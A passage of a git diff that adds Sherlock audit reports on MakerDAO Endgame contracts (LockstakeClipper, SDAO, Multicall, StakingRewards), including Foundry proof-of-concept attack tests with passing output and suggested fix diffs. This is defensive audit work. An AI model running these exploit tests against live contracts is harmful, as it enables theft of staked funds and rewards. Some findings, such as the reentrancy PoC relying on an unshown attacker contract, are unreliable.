bytes32, uint256) external; + function init(bytes32) external; + function hope(address) external; + function frob(bytes32, address, address, address, int256, int256) external; + function slip(bytes32, address, int256) external; + function suck(address, address, uint256) external; + function fold(bytes32, address, int256) external; +} + +interface GemLike { + function balanceOf(address) external view returns (uint256); +} + +interface VowLike { + function flap() external returns (uint256); + function Sin() external view returns (uint256); + function Ash() external view returns (uint256); + function heal(uint256) external; + function bump() external view returns (uint256); + function hump() external view returns (uint256); +} + +interface DogLike { + function Dirt() external view returns (uint256); + function chop(bytes32) external view returns (uint256); + function ilks(bytes32) external view returns (address, uint256, uint256, uint256); + function rely(address) external; + function file(bytes32, uint256) external; + function file(bytes32, bytes32, address) external; + function file(bytes32, bytes32, uint256) external; + function bark(bytes32, address, address) external returns (uint256); +} + +interface SpotterLike { + function file(bytes32, bytes32, address) external; + function file(bytes32, bytes32, uint256) external; + function poke(bytes32) external; +} + +interface CalcFabLike { + function newLinearDecrease(address) external returns (address); + function newStairstepExponentialDecrease(address) external returns (address); +} + +interface CalcLike { + function file(bytes32, uint256) external; +} + + +contract LockstakeClipperTest is DssTest { + using stdStorage for StdStorage; + + DssInstance dss; + address pauseProxy; + PipMock pip; + GemLike dai; + VowLike vow; + VatLike vat; + + LockstakeEngineMock engine; + LockstakeClipper clip; + + // Exchange exchange; + + address constant LOG = 0xdA0Ab1e0017DEbCd72Be8599041a2aa3bA7e740F; + + address ali; + address bob; + address che; + + bytes32 constant ilk = "LSE"; + uint256 constant price = 5 ether; + + uint256 constant startTime = 604411200; // Used to avoid issues with `block.timestamp` + + function _ink(bytes32 ilk_, address urn_) internal view returns (uint256) { + (uint256 ink_,) = dss.vat.urns(ilk_, urn_); + return ink_; + } + function _art(bytes32 ilk_, address urn_) internal view returns (uint256) { + (,uint256 art_) = dss.vat.urns(ilk_, urn_); + return art_; + } + + function ray(uint256 wad) internal pure returns (uint256) { + return wad * 10 ** 9; + } + + function rad(uint256 wad) internal pure returns (uint256) { + return wad * 10 ** 27; + } + + function takeSetup() public { + address calc = CalcFabLike(dss.chainlog.getAddress("CALC_FAB")).newStairstepExponentialDecrease(address(this)); + CalcLike(calc).file("cut", RAY - ray(0.01 ether)); // 1% decrease + CalcLike(calc).file("step", 1); // Decrease every 1 second + + clip.file("buf", ray(1.25 ether)); // 25% Initial price buffer + clip.file("calc", address(calc)); // File price contract + clip.file("cusp", ray(0.3 ether)); // 70% drop before reset + clip.file("tail", 3600); // 1 hour before reset + + (uint256 ink, uint256 art) = dss.vat.urns(ilk, address(this)); + assertEq(ink, 40 ether); + assertEq(art, 100 ether); + + console2.log("ink: ", ink); + console2.log("art: ", art); + + assertEq(clip.kicks(), 0); + dss.dog.bark(ilk, address(this), address(this)); // ??????? + assertEq(clip.kicks(), 1); + + console2.log("end of bark...."); + printVowInfo(); + + + (ink, art) = dss.vat.urns(ilk, address(this)); + assertEq(ink, 0); + assertEq(art, 0); + + LockstakeClipper.Sale memory sale; + (sale.pos, sale.tab, sale.lot, sale.tot, sale.usr, sale.tic, sale.top) = clip.sales(1); + assertEq(sale.pos, 0); + assertEq(sale.tab, rad(110 ether)); + assertEq(sale.lot, 40 ether); + assertEq(sale.tot, 40 ether); + assertEq(sale.usr, address(this)); + assertEq(sale.tic, block.timestamp); + + assertEq(dss.vat.gem(ilk, ali), 0); + assertEq(dss.vat.dai(ali), rad(1000 ether)); + assertEq(dss.vat.gem(ilk, bob), 0); + assertEq(dss.vat.dai(bob), rad(1000 ether)); + } + + function setUp() public { + vm.createSelectFork(vm.envString("ETH_RPC_URL")); + vm.warp(startTime); + + dss = MCD.loadFromChainlog(LOG); + + pauseProxy = dss.chainlog.getAddress("MCD_PAUSE_PROXY"); + dai = GemLike(dss.chainlog.getAddress("MCD_DAI")); + vow = VowLike(dss.chainlog.getAddress("MCD_VOW")); + vat = VatLike(dss.chainlog.getAddress("MCD_VAT")); + + printVowInfo(); + + pip = new PipMock(); + pip.setPrice(price); // Spot = $2.5 + console2.log("pip price: ", price); + + vm.startPrank(pauseProxy); + dss.vat.init(ilk); // init the collateral info identified by ```ilk``` + + // check source code for spotter + dss.spotter.file(ilk, "pip", address(pip)); // oracle + dss.spotter.file(ilk, "mat", ray(2 ether)); // 200% liquidation ratio for easier test calcs + console2.log("ray(2 ether):", ray(2 ether)); // 2*10**18 * 10 ** 9 + dss.spotter.poke(ilk); + (,, uint256 spot1,,) = dss.vat.ilks(ilk); + console2.log("spot price: ", spot1); // 2.5 ether * 10**9 + + + dss.vat.file(ilk, "dust", rad(20 ether)); // $20 dust, 20 ether * 10 ** 27 + console2.log("rad(20 ETHER): ", rad(20 ether)); + + dss.vat.file(ilk, "line", rad(10000 ether)); + dss.vat.file("Line", dss.vat.Line() + rad(10000 ether)); + + + dss.dog.file(ilk, "chop", 1.1 ether); // 10% chop + dss.dog.file(ilk, "hole", rad(1000 ether)); + dss.dog.file("Hole", dss.dog.Dirt() + rad(1000 ether)); + + engine = new LockstakeEngineMock(address(dss.vat), ilk); + dss.vat.rely(address(engine)); + vm.stopPrank(); + + // dust and chop filed previously so clip.chost will be set correctly + clip = new LockstakeClipper(address(dss.vat), address(dss.spotter), address(dss.dog), address(engine)); + clip.file("vow", address(vow)); + clip.file("tip", rad(100 ether)); // Flat fee of 100 DAI + clip.file("chip", 0.02 ether); // Linear increase of 2% of tab + clip.upchost(); // what does it do? // dust: 20 ether * 10**27, chop: 1.1 ether = chost = 22 ether * 10**27 + + + + console2.log("chost: ", clip.chost()); + clip.rely(address(dss.dog)); + + vm.startPrank(pauseProxy); + dss.dog.file(ilk, "clip", address(clip)); // + dss.dog.rely(address(clip)); + dss.vat.rely(address(clip)); + + // add collateral for pauseProxy + dss.vat.slip(ilk, address(this), int256(1000 ether)); // simply gem[ilk][usr] = add(gem[ilk][usr], wad); + + vm.stopPrank(); + + assertEq(dss.vat.gem(ilk, address(this)), 1000 ether); + assertEq(dss.vat.dai(address(this)), 0); + + // move collateran between u and v and move debt between u and w + dss.vat.frob(ilk, address(this), address(this), address(this), 40 ether, 100 ether); // add collateral and add debt, u, v, w: v will pay the collateral, w will get the + assertEq(dss.vat.gem(ilk, address(this)), 960 ether); // move 40 ether from v to u as collateral, so remaining 960 gem + assertEq(dss.vat.dai(address(this)), rad(100 ether)); // borrow 100 ether DAI (and thus debt) and save it to v as vat.dai balance + // as a result, more collateral and more debt for u, and the loanded dai is in w + + pip.setPrice(4 ether); // Spot = $2 /// ??????? + dss.spotter.poke(ilk); // Now unsafe + (,, uint256 spot2,,) = dss.vat.ilks(ilk); + console2.log("spot price: ", spot2); // 2.5 ether * 10**9, 2 000000000000000000 000000000 + + + ali = address(111); + bob = address(222); + che = address(333); + + dss.vat.hope(address(clip)); // can[address(this), clip] = 1 + vm.prank(ali); dss.vat.hope(address(clip)); // can[ali, clip] = 1 + vm.prank(bob); dss.vat.hope(address(clip)); // can[bob, clip] = 1 + + vm.startPrank(pauseProxy); + dss.vat.suck(address(0), address(this), rad(1000 ether)); // increase rad(1000 ether) debt and unback DAI as the same time + dss.vat.suck(address(0), address(ali), rad(1000 ether)); // increase debt and unbacked DAI + dss.vat.suck(address(0), address(bob), rad(1000 ether)); + console2.log("rad(1000 ether: ", rad(1000 ether)); // rad means multiple by 10**27 + vm.stopPrank(); + + console.log("\n chop: ", dss.dog.chop(ilk)); + + console2.log("after set up..."); + printVowInfo(); + } + + function printAuction(uint id) public + { + LockstakeClipper.Sale memory sale; + + (sale.pos, sale.tab, sale.lot, sale.tot, sale.usr, sale.tic, sale.top) = clip.sales(id); + console2.log("\n***************************************************************"); + console2.log("sale.pos: ", sale.pos); + console2.log("sale.tab: ", sale.tab); + console2.log("sale.lot: ", sale.lot); + console2.log("sale.tot: ", sale.tot); + console2.log("sale.usr:", sale.usr); + console2.log("sale.tic: ", sale.tic); + console2.log("sale.top: ", sale.top); + console2.log("***************************************************************\n"); + } + + function printVowInfo() public{ + console2.log("\n vow information..............................................."); + console2.log("vat.sin(vow): ", vat.sin(address(vow))); + console2.log("vat.dai(vow): ", vat.dai(address(vow))); + console2.log("............................................................\n"); + } + + function testTake1() public { + uint256 initialVowSin = vat.sin(address(vow)); + uint256 initialVowDai = vat.dai(address(vow)); + + (,uint256 rate, ,, ) = vat.ilks(ilk); + + uint256 due = 110000000000000000000000000000000000000000000000 * WAD / 1.1 ether; + console2.log("due: ", due); + uint256 incentive = 102200000000000000000000000000000000000000000000; + uint256 tab = 110000000000000000000000000000000000000000000000; + + takeSetup(); + + console2.log("before take a bid...$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$"); + printVowInfo(); + + printAuction(1); + + // Bid so owe (= 25 * 5 = 125 RAD) > tab (= 110 RAD) + // Readjusts slice to be tab/top = 25 + vm.prank(ali); + clip.take({ + id: 1, + amt: 25 ether, + max: 5000000000000000001250000000, + who: address(ali), + data: "" + }); + + + // Assert auction ends + LockstakeClipper.Sale memory sale; + (sale.pos, sale.tab, sale.lot, sale.tot, sale.usr, sale.tic, sale.top) = clip.sales(1); + assertEq(sale.pos, 0); + assertEq(sale.tab, 0); + assertEq(sale.lot, 0); + assertEq(sale.tot, 0); + assertEq(sale.usr, address(0)); + assertEq(sale.tic, 0); + assertEq(sale.top, 0); + + assertEq(dss.dog.Dirt(), 0); + + (,,, uint256 dirt) = dss.dog.ilks(ilk); + console2.log("dirt: ", dirt); + assertEq(dirt, 0); + + console2.log("after a bid...$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$"); + printVowInfo(); + + uint256 finalVowSin = vat.sin(address(vow)); + uint256 finalVowDai = vat.dai(address(vow)); + + assertEq(due + incentive, finalVowSin - initialVowSin); // the increases of vat.sin is due to due and incentive + // we raised tab amont of DAI, + console2.log("due + incentive: ", due + incentive); + assertEq(due + incentive - tab, finalVowSin - initialVowSin - (finalVowDai - initialVowDai)); // deficit + console2.log("the deficit is: ", finalVowSin - initialVowSin - (finalVowDai - initialVowDai)); + } + +} + +``` + + + +### Mitigation + +We need to add incentive for the keeper to ```tab``` so that we will raise more fund to cover all debt: + +```diff + function kick( + uint256 tab, // Debt [rad] + uint256 lot, // Collateral [wad] + address usr, // Address that will receive any leftover collateral; additionally assumed here to be the liquidated Vault. + address kpr // Address that will receive incentives + ) external auth lock isStopped(1) returns (uint256 id) { + // Input validation + require(tab > 0, "LockstakeClipper/zero-tab"); + require(lot > 0, "LockstakeClipper/zero-lot"); + require(lot <= uint256(type(int256).max), "LockstakeClipper/over-maxint-lot"); // This is ensured by the dog but we still prefer to be explicit + require(usr != address(0), "LockstakeClipper/zero-usr"); + unchecked { id = ++kicks; } + require(id > 0, "LockstakeClipper/overflow"); + + active.push(id); + + sales[id].pos = active.length - 1; + + sales[id].tab = tab; + sales[id].lot = lot; + sales[id].tot = lot; + sales[id].usr = usr; + sales[id].tic = uint96(block.timestamp); + + uint256 top; + top = rmul(getFeedPrice(), buf); + require(top > 0, "LockstakeClipper/zero-top-price"); + sales[id].top = top; + + // incentive to kick auction + uint256 _tip = tip; + uint256 _chip = chip; + uint256 coin; + if (_tip > 0 || _chip > 0) { + coin = _tip + wmul(tab, _chip); + vat.suck(vow, kpr, coin); ++ sales[id].tab = tab + coin; + } + + // Trigger engine liquidation call-back + engine.onKick(usr, lot); + + emit Kick(id, top, tab, lot, usr, kpr, coin); + } +``` diff --git a/044.md b/044.md new file mode 100644 index 0000000..5d8839d --- /dev/null +++ b/044.md @@ -0,0 +1,27 @@ +Curved Cinnamon Tuna + +Medium + +# Token Transfer Failure Due to Non-Standard ERC20 Implementation + +## Summary +The `gem.transfer` function is used to transfer tokens in `VestedRewardsDistribution`. `StakingRewards` does not have a function that returns a boolean value, this can lead to unexpected behavior and potential failures in the token transfer process. +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/endgame-toolkit/src/VestedRewardsDistribution.sol#L161 + +## Vulnerability Detail +The `gem.transfer` function is called in the distributed function to transfer tokens from `VestedRewardsDistribution` to `StakingRewards`. The ERC20 standard specifies that the transfer function must return a boolean value indicating the success of the transfer. However, not all ERC20 token implementations adhere strictly to this standard. Some tokens may revert to their original state on failure or return nothing, which can cause the `gem.transfer` call to behave unexpectedly. + +## Impact +- Silent Failures +- Security Risks +- Operational Issues + +## Code Snippet +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/endgame-toolkit/src/VestedRewardsDistribution.sol#L152-L165 + +## Tool used + +Manual Review + +## Recommendation +Use OpenZeppelin's `SafeERC20` library to handle token transfers. The `safeTransfer` function provided by this library ensures that transfers succeed by correctly handling non-standard ERC20 implementations. \ No newline at end of file diff --git a/045.md b/045.md new file mode 100644 index 0000000..3da4672 --- /dev/null +++ b/045.md @@ -0,0 +1,59 @@ +Curved Cinnamon Tuna + +High + +# Signature Malleability in _isValidSignature Function + +## Summary +The `_isValidSignature` function in the SDAO contract uses the built-in ecrecover function, which is susceptible to signature malleability. This vulnerability can allow attackers to manipulate signatures, potentially leading to unauthorized access and loss of funds. + +## Vulnerability Detail +The `ecrecover` function is used to validate signatures. However, it is known to be vulnerable to signature malleability, meaning the same message can be signed in multiple ways. This can allow attackers to alter the signature without invalidating it, leading to potential security breaches. +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/endgame-toolkit/src/SDAO.sol#L343 + +## Impact +- Unauthorized Access +- Loss of Funds +- Replay Attacks + +## Code Snippet +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/endgame-toolkit/src/SDAO.sol#L333-L358 + +## Tool used + +Manual Review + +## Recommendation +1. Import OpenZeppelin's ECDSA Library +2. Replace `ecrecover` with ECDSA Library +```diff ++ import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; + + function _isValidSignature(address signer, bytes32 digest, bytes memory signature) internal view returns (bool) { + if (signature.length == 65) { + bytes32 r; + bytes32 s; + uint8 v; + assembly { + r := mload(add(signature, 0x20)) + s := mload(add(signature, 0x40)) + v := byte(0, mload(add(signature, 0x60))) + } +- if (signer == ecrecover(digest, v, r, s)) { ++ if (signer == ECDSA.recover(digest, signature)) { + return true; + } + } + + if (signer.code.length > 0) { + (bool success, bytes memory result) = signer.staticcall( + abi.encodeCall(IERC1271.isValidSignature, (digest, signature)) + ); + return (success && + result.length == 32 && + abi.decode(result, (bytes4)) == IERC1271.isValidSignature.selector); + } + + return false; + } +``` \ No newline at end of file diff --git a/047.md b/047.md new file mode 100644 index 0000000..e0c51aa --- /dev/null +++ b/047.md @@ -0,0 +1,116 @@ +Curved Cinnamon Tuna + +High + +# Multicall Reentrancy Exploit via Delegatecall + +## Summary +The `Multicall`, which allows batching multiple function calls into a single transaction using `delegatecall`, is vulnerable to reentrancy attacks. This vulnerability can be exploited by attackers to manipulate the contract's state, potentially leading to significant financial losses. + +## Vulnerability Detail +The `Multicall` contract's `multicall` function uses `delegatecall` to execute multiple function calls within the context of the calling contract. If any of the functions called via `delegatecall` are not reentrancy-safe, an attacker can exploit this by making recursive calls back into the contract. This can lead to unexpected state manipulations and potential loss of funds. Specifically, the vulnerability arises because `delegatecall` allows the called function to modify the state of the calling contract, and without proper reentrancy guards, this can be exploited. +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/lockstake/src/Multicall.sol#L12 + +## Impact +- Drain funds from the contract. +- Perform double-spending. +- Execute unauthorized withdrawals. +- Corrupt the contract's state. + +## Code Snippet +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/lockstake/src/Multicall.sol#L9-L23 + +## Tool used + +Manual Review + +## Recommendation +Implement reentrancy guards to prevent reentrant calls. Use OpenZeppelin's `ReentrancyGuard` to secure the `multicall` function. +```diff ++ import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; + +abstract contract Multicall { +- function multicall(bytes[] calldata data) external returns (bytes[] memory results) { ++ function multicall(bytes[] calldata data) external nonReentrant returns (bytes[] memory results) { + results = new bytes[](data.length); + for (uint256 i = 0; i < data.length; i++) { + (bool success, bytes memory result) = address(this).delegatecall(data[i]); + + if (!success) { + if (result.length == 0) revert("multicall failed"); + assembly ("memory-safe") { + revert(add(32, result), mload(result)) + } + } + + results[i] = result; + } + } +} +``` + +## PoC +VulnerableContract +```solidity +// SPDX-License-Identifier: GPL-2.0-or-later +pragma solidity ^0.8.21; + +import "./Multicall.sol"; + +contract VulnerableContract is Multicall { + mapping(address => uint256) public balances; + + function deposit() external payable { + balances[msg.sender] += msg.value; + } + + function withdraw(uint256 amount) external { + require(balances[msg.sender] >= amount, "Insufficient balance"); + balances[msg.sender] -= amount; + (bool success, ) = msg.sender.call{value: amount, gas: 2300}(""); + require(success, "Transfer failed"); + } +} +``` +ExploitTest +```solidity +// SPDX-License-Identifier: GPL-2.0-or-later +pragma solidity ^0.8.21; + +import "forge-std/Test.sol"; +import "../src/VulnerableContract.sol"; +import "../src/Attacker.sol"; + +contract ExploitTest is Test { + VulnerableContract vulnerableContract; + Attacker attacker; + + function setUp() public { + vulnerableContract = new VulnerableContract(); + attacker = new Attacker(address(vulnerableContract)); + } + + function testExploit() public { + // Fund the vulnerable contract + vm.deal(address(vulnerableContract), 10 ether); + + // Start the attack + vm.deal(address(attacker), 1 ether); + attacker.attack{value: 1 ether}(); + + // Check if the attack was successful + assertGt(address(attacker).balance, 1 ether, "Exploit failed"); + } +} +``` +forge test --match-path test/ExploitTest.sol +[⠊] Compiling... +[⠒] Compiling 3 files with Solc 0.8.21 +[⠢] Solc 0.8.21 finished in 1.98s +Compiler run successful! + +Ran 1 test for test/ExploitTest.sol:ExploitTest +[PASS] testExploit() (gas: 43363) +Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 960.20µs (278.30µs CPU time) + +Ran 1 test suite in 5.48ms (960.20µs CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests) diff --git a/048.md b/048.md new file mode 100644 index 0000000..0e579cb --- /dev/null +++ b/048.md @@ -0,0 +1,57 @@ +Fantastic Crepe Llama + +Medium + +# Any User with Auth Access Can Grant or Revoke Admin Access to/from Any Other User + +## Summary +SDAO.sol:150 +Any user with `auth` access can use the `rely` and `deny` functions to manage admin access for other users. The `wards[msg.sender] = 1` in the constructor only sets the deployer as an admin when the contract is first deployed. It does not restrict how admin access is managed after deployment. +## Vulnerability Detail +There's a security flaw in the access control system of the smart contract. Any user with admin (auth) access can revoke or deny admin privileges for other users. This could lead to unauthorized denial of service or the misuse of admin privileges +## Impact +An admin with malicious intent could revoke admin access from other legitimate admins, disrupting their ability to manage and control the contract. Even though there is an initial admin set in the constructor, the original issue still persists. The initial admin can grant or revoke admin access to any other user, potentially leading to unauthorized control +## Code Snippet + + constructor(string memory _name, string memory _symbol) { + name = _name; + symbol = _symbol; + + wards[msg.sender] = 1; + emit Rely(msg.sender); + + deploymentChainId = block.chainid; + _DOMAIN_SEPARATOR = _calculateDomainSeparator(block.chainid); + } + + * @notice Grants `usr` admin access to this contract. + * @param usr The user address. + */ + function rely(address usr) external auth { + wards[usr] = 1; + emit Rely(usr); + } + + /** + * @notice Revokes `usr` admin access from this contract. + * @param usr The user address. + */ + function deny(address usr) external auth { + wards[usr] = 0; + emit Deny(usr); + } + +Alice deploys the contract and automatically becomes an admin. +Alice grants admin access to Bob and Charlie. +Bob, a trusted admin, decides to act maliciously. He uses his admin privileges to grant admin access to Eve, a malicious actor. +Bob and Eve revoke Alice and Charlie’s admin access, leaving themselves as the only admins with full control over the contract. + +Alice can indeed lose her admin control if another admin (with auth access) decides to revoke her privileges. This is because the original implementation allows any admin to grant or revoke admin rights for any other user, including the initial admin set in the constructor. + +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/dba30d7a676c20dfed3bda8c52fd6702e2e85bb1/endgame-toolkit/src/SDAO.sol#L153-L165 +## Tool used + +Manual Review + +## Recommendation + Use a multi-signature approach to require multiple approvals for critical changes. \ No newline at end of file diff --git a/049.md b/049.md new file mode 100644 index 0000000..0d8c9cd --- /dev/null +++ b/049.md @@ -0,0 +1,35 @@ +Fantastic Crepe Llama + +Medium + +# No minimum threshold for distribute function + +## Summary + +The function `distribute` in its current form ensures that the amount to be distributed is greater than 0. However, it does not account for scenarios where the amount might be very small (e.g 1 or 1.0), which could lead to issues in the distribution process. Small amounts may lead to rounding errors. +## Vulnerability Detail +If the amount is very small (e.g., 1 or 1.0), it could lead to negligible distributions which might not be effective or could incur unnecessary gas costs. For some tokens, transferring very small amounts might lead to precision issues or might be blocked by the token contract if it has minimum transfer amount requirements. +## Impact +The impact can range from moderate to high depending on the frequency and context of these small distributions. If small distributions occur frequently, the cumulative gas costs and operational inefficiencies can become significant. This results in inefficient use of resources. +## Code Snippet + function distribute() external returns (uint256 amount) { + require(vestId != INVALID_VEST_ID, "VestedRewardsDistribution/invalid-vest-id"); + + amount = dssVest.unpaid(vestId); + require(amount > 0, "VestedRewardsDistribution/no-pending-amount"); + + lastDistributedAt = block.timestamp; + dssVest.vest(vestId, amount); + + require(gem.transfer(address(stakingRewards), amount), "VestedRewardsDistribution/transfer-failed"); + stakingRewards.notifyRewardAmount(amount); + + emit Distribute(amount); + } +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/dba30d7a676c20dfed3bda8c52fd6702e2e85bb1/endgame-toolkit/src/VestedRewardsDistribution.sol#L152-L165 +## Tool used + +Manual Review + +## Recommendation +Implement minimum amount threshold \ No newline at end of file diff --git a/050.md b/050.md new file mode 100644 index 0000000..d07e753 --- /dev/null +++ b/050.md @@ -0,0 +1,91 @@ +Brilliant Orchid Perch + +Medium + +# StakingRewards `rewardPerTokenStored` can be inflated and rewards can be stolen + +## Summary + +Inflating the `rewardPerTokenStored` is applicable with staking `1 wei` using the first staker and this will lead to drainage of rewards. + +## Vulnerability Detail + +As there isn't a minimum deposit amount criteria, any amount can be staked inside the StakingRewards contract. Considering this fact, when a user calls `stake()` with `1 wei`, it updates the `_totalSupply` as `1 wei` and the corresponding rewards through `updateReward` modifier. This modifier calls the function `rewardPerToken()`: + +```Solidity + function rewardPerToken() public view returns (uint256) { + if (_totalSupply == 0) { + return rewardPerTokenStored; + } + return + rewardPerTokenStored + (((lastTimeRewardApplicable() - lastUpdateTime) * rewardRate * 1e18) / _totalSupply); + } +``` + +This function would return the accumulated `rewardPerTokenStored` plus the linear increase of the reward. Since it depends on the denominator as `_totalSupply`, the whole multiplying will be divided by `1 wei` which will inflate the `rewardPerTokenStored` astronomically. Also there isn't any preventive check for the user to withdraw it in the withdraw function. +Thus, this scenario is applicable here: + +1. User stakes `1 wei` +2. The `rewardDistributor` transfers `1 ether` reward tokens to the contract and calls `notifyRewardAmount()` with `1 ether` +3. Some time passes (e.g. 200 seconds) +4. At this time the rewardRate is incorrectly inflated and the user can withdraw and drain the rewards + +## Proof of Concept + +This test shows the attack vector explained above: + +```Solidity + function testFirstUserInflationAttack() public { + + uint rewardRate = staking.rewardPerToken(); + console.log("Initial Reward Rate is: ", rewardRate); + + address attacker = vm.addr(50); + stakingToken.mint(attacker, 1 ether); + vm.startPrank(attacker); + stakingToken.approve(address(staking), 100 ether); + staking.stake(1 wei); + vm.stopPrank(); + + vm.warp(block.timestamp + 100); + + vm.startPrank(rewardDistributor); + rewardToken.transfer(address(staking), 1 ether); + staking.notifyRewardAmount(1 ether); + vm.stopPrank(); + + vm.warp(block.timestamp + 100); + + rewardRate = staking.rewardPerToken(); + console.log("Reward Rate After Stake is: ", rewardRate); + } +``` + +The test result is: + +```Markdown +Ran 1 test for test/MakerTest.t.sol:MakerTest +[PASS] testFirstUserInflationAttack() (gas: 278449) +Logs: + Initial Reward Rate is: 0 + Reward Rate After Stake is: 165343915343900000000000000000000 + +Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.45ms (286.80µs CPU time) + +``` + +## Impact + +The first user can inflate the `rewardPerTokenStored` with staking just `1 wei` and after some time he can drain the accumulated rewards. + +## Code Snippet + +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/endgame-toolkit/src/synthetix/StakingRewards.sol#L84C5-L91C1 + +## Tool used + +Manual Review + +## Recommendation + +Consider putting deposit limits in the contract StakingRewards \ No newline at end of file diff --git a/051.md b/051.md new file mode 100644 index 0000000..a4deeaf --- /dev/null +++ b/051.md @@ -0,0 +1,118 @@ +Brilliant Orchid Perch + +Medium + +# Rewards are distributed even when there are no stakers, resulting in the rewards being permanently locked away + +## Summary + +An issue causes the system to mistakenly believe that rewards are being dispersed even in the absence of stakers. If `notifyRewardAmount()` is called before any users stake, the rewards intended for the first stakers become permanently locked in the contract. This issue results in non-distributed rewards being stuck in the contract. + +## Vulnerability Detail + +The code accounts for scenarios where there are no users by not updating the cumulative rate when `_totalSupply` is zero. However, it fails to include a similar condition for tracking the time duration. + +```Solidity + function rewardPerToken() public view returns (uint256) { + if (_totalSupply == 0) { + return rewardPerTokenStored; + } + return + rewardPerTokenStored + (((lastTimeRewardApplicable() - lastUpdateTime) * rewardRate * 1e18) / _totalSupply); + } +``` + +Due to this oversight, even when there are no users staking, the accounting logic incorrectly assumes that funds are being dispersed during that duration because the starting timestamp is updated. As a result, if the `notifyRewardAmount()` function is called before any users are staking, the rewards that should have been allocated to the first stakers instead accrue to no one and become permanently locked in the contract. + +## Proof of Concept + +This test shows the scenario mentioned above: + +```Solidity + function testZeroTotalSupply() public { + + address bob = vm.addr(20); + stakingToken.mint(bob, 10000 ether); + + vm.startPrank(rewardDistributor); + rewardToken.transfer(address(staking), 7*86400 ether); + staking.notifyRewardAmount(7*86400 ether); + vm.stopPrank(); + + console.log("Initial Reward Balance is: ", rewardToken.balanceOf(address(staking))); + console.log("Initial Staking Balance of Bob is: ", stakingToken.balanceOf(bob)); + + vm.warp(block.timestamp + 24 hours); + + vm.startPrank(bob); + stakingToken.approve(address(staking), 10000 ether); + staking.stake(10000 ether); + vm.stopPrank(); + + vm.warp(block.timestamp + 6 days); + + vm.startPrank(bob); + staking.exit(); + assertGt(rewardToken.balanceOf(address(staking)), 0); + + console.log("Final Reward Balance is: ", rewardToken.balanceOf(address(staking))); + console.log("Final Staking Balance of Bob is: ", stakingToken.balanceOf(bob)); + } +``` + +The test result is: + +```Markdown +Ran 1 test for test/MakerTest.t.sol:MakerTest +[PASS] testZeroTotalSupply() (gas: 327130) +Logs: + Initial Reward Balance is: 604800000000000000000000 + Initial Staking Balance of Bob is: 10000000000000000000000 + Final Reward Balance is: 86400000000000000000000 + Final Staking Balance of Bob is: 10000000000000000000000 + +Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.51ms (471.30µs CPU time) +``` + +Consequently, 86400 ether is locked in the contract, as these rewards were never distributed. + +## Impact + +Non-distributed rewards are stuck in the contract. + +## Code Snippet + +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/endgame-toolkit/src/synthetix/StakingRewards.sol#L84-L90 + +## Tool used + +Manual Review + +## Recommendation + +In the function `notifyRewardAmount()`, check if there are stakers in the contract: + +```diff + function notifyRewardAmount(uint256 reward) external override onlyRewardsDistribution updateReward(address(0)) { + if (block.timestamp >= periodFinish) { + rewardRate = reward / rewardsDuration; + } else { + uint256 remaining = periodFinish - block.timestamp; + uint256 leftover = remaining * rewardRate; + rewardRate = (reward + leftover) / rewardsDuration; + } ++ require(_totalSupply != 0, "No Stakers!"); + + // Ensure the provided reward amount is not more than the balance in the contract. + // This keeps the reward rate in the right range, preventing overflows due to + // very high values of rewardRate in the earned and rewardsPerToken functions; + // Reward + leftover must be less than 2^256 / 10^18 to avoid overflow. + uint256 balance = rewardsToken.balanceOf(address(this)); + require(rewardRate <= balance / rewardsDuration, "Provided reward too high"); + + lastUpdateTime = block.timestamp; + periodFinish = block.timestamp + rewardsDuration; + emit RewardAdded(reward); + } + +``` \ No newline at end of file diff --git a/052.md b/052.md new file mode 100644 index 0000000..a0936f5 --- /dev/null +++ b/052.md @@ -0,0 +1,448 @@ +Radiant Ultraviolet Platypus + +High + +# Malicious stakers will cause loss of reward funds for honest participants + +### Summary + +The flawed reward calculation in the `StakingRewards` contract, which fails to account for time-weighted average stakes, will cause a significant loss of reward tokens for honest stakers. This flaw enables malicious users to briefly stake large amounts, withdraw most of their stake, and still earn rewards as if they had maintained their maximum stake throughout the entire period. Malicious actors can repeat this process over time and on different wallet addresses to claim disproportionately large rewards while maintaining minimal long-term stake. + +### Root Cause + +In `StakingRewards.sol`, the `earned()` and `rewardPerToken()` functions do not correctly account for changes in a user's staked amount over time. The reward calculation is based on the current stake multiplied by the difference in `rewardPerToken()` since the last update, rather than considering the time-weighted average of the user's stake. This means that: +1. In r`ewardPerToken()`: +```javascript +return rewardPerTokenStored + (((lastTimeRewardApplicable() - lastUpdateTime) * rewardRate * 1e18) / _totalSupply); +``` +The calculation uses the current _totalSupply, not accounting for how it might have changed over the period. +2. In `earned()`: +```javascript +return ((_balances[account] * (rewardPerToken() - userRewardPerTokenPaid[account])) / 1e18) + rewards[account]; +``` +This multiplies the current balance by the entire change in rewardPerToken(), even if the user's balance changed during that period. + +This approach allows users to benefit from high reward rates achieved during periods of large stakes, even after they've withdrawn most of their stake. + +`StakingRewards::earned()`: https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/endgame-toolkit/src/synthetix/StakingRewards.sol?=plain#L92-L94 + +`StakingRewards::rewardPerToken()`: https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/endgame-toolkit/src/synthetix/StakingRewards.sol?=plain#L84-L90 + +### Internal pre-conditions + +The StakingRewards contract needs to be deployed and active. +The reward pool needs to be funded with a significant amount of reward tokens. +The staking period needs to be ongoing. + +### External pre-conditions + +None specific to this vulnerability. + + +### Attack Path + +1. Attacker observes the current reward rate and total staked amount. +2. Attacker stakes a large amount of tokens, significantly increasing their share of the total stake. +3. Attacker waits for a short period, allowing rewards to accrue based on their large stake. +4. Attacker withdraws most 